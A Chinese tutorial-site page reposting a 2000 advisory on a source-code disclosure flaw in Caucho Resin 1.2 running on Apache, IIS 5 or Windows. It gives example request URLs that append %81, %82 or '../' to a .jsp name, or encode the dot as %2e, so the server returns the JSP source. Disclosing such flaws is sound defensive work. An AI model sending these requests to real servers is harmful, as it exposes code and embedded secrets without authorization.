繁體中文当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞
- JSP
- JSP连接各类数据库大全(6)
- 小窗口大学问--玩转弹出窗口(2)
- Jsp中的session使用
- Jsp中数据bean的直接赋值
- Jsp/bean Mysql数据库 新增 修改 删除的通用方法
- 随机数字 浮点数 字符串产生
- 利用HttpSessionListener统计在线人数
- servlet规范定义的Servlet 生命周期
- serlvet为什么只需要实现doGet和doPost
- servlet实例的个数及因此引发的问题
- jsp计数器制作手册(2)
- JSP连接各类数据库大全(1)
- JSP编程进度条设计实例(3)
- JSP编程进度条设计实例(5)
- jsp计数器制作手册(1)
- JSP编程进度条设计实例(1)
- 小窗口大学问--玩转弹出窗口(1)
- 小窗口大学问--玩转弹出窗口(4)
- ASP与JSP的比较(1)
- JSP连接各类数据库大全(5)
JSP 中的 Resin 1.2 重要源代码暴露漏洞
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-02 浏览: 56 ::
收藏到网摘: n/a
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32
Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81
Resin Web Server:
../
Example: http://target/filename.jsp../
IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp
评论 (0) All
